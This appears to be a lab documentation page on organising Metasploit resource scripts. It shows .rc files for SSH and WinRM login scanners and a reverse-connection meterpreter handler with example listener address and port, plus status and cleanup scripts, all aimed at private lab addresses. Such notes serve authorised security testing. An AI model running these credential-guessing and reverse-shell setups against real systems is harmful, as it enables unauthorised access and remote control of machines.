Skip to content

Resource Scripts

Put repeatable connection setup in .rc files and load them with resource or msfconsole -r. Keep credentials and temporary session IDs out of the scripts themselves.

~/lab/msf/rc/
├── ssh_login.prompt.rc
├── winrm_login.prompt.rc
├── handler_windows_meterpreter_reverse.rc
├── handler_windows_meterpreter_bind.rc
├── handler_windows_shell_bind.rc
├── shell_to_meterpreter.rc
├── status.rc
└── cleanup.rc
  • rc/: Repeatable connection setup, tracked in Git.
  • profiles/*.local.rc: Per-target setg values, not tracked in Git.

Load a profile when starting msfconsole.

Terminal window
msfconsole -q -r ~/lab/msf/profiles/target.local.rc

In an already running msfconsole, load only the scripts you need.

resource ~/lab/msf/rc/status.rc
resource ~/lab/msf/rc/handler_windows_meterpreter_reverse.rc

In this pattern, the .rc file selects the module and credentials are passed as runtime arguments.

resource ~/lab/msf/rc/ssh_login.prompt.rc; run verbose=true rhosts=10.10.11.123 username=svc-user password=PASSWORD_HERE; sessions -l

Write the .rc itself across readable lines. Only the pasted example is a single line.

rc/ssh_login.prompt.rc:

use auxiliary/scanner/ssh/ssh_login
set STOP_ON_SUCCESS true
set CreateSession true
show options

rc/winrm_login.prompt.rc:

use auxiliary/scanner/winrm/winrm_login
set RPORT 5985
set DOMAIN .
set CreateSession true
show options

Meterpreter handler for reverse connections

Section titled “Meterpreter handler for reverse connections”

rc/handler_windows_meterpreter_reverse.rc:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set ExitOnSession false
run -j
sessions -l

LHOST and LPORT are expected to come from setg in the profile. Override them at runtime if needed.

resource ~/lab/msf/rc/handler_windows_meterpreter_reverse.rc
# Or
use exploit/multi/handler; run -j verbose=true payload=windows/x64/meterpreter/reverse_tcp lhost=10.10.16.10 lport=4444 exitonsession=false

rc/status.rc:

db_status
workspace
sessions -l
jobs -l
route print
hosts
services
creds
loot

rc/cleanup.rc (check its effects before running):

jobs -l
jobs -K
route flush
spool off

jobs -K stops all background jobs.

  • Keep each .rc limited to connection setup. Decide on enumeration and destructive actions one step at a time.
  • Do not put passwords, key files, or ticket paths in either profiles or .rc files.
  • Session IDs change each time. Check sessions -l before passing one; do not hardcode it in a script.
  • Bundled reference examples are under packages/metasploit-framework/scripts/resource/. Keep test-environment templates short.
  • If you enter the same operation repeatedly, put it in an .rc first, then consider an alias or external notes.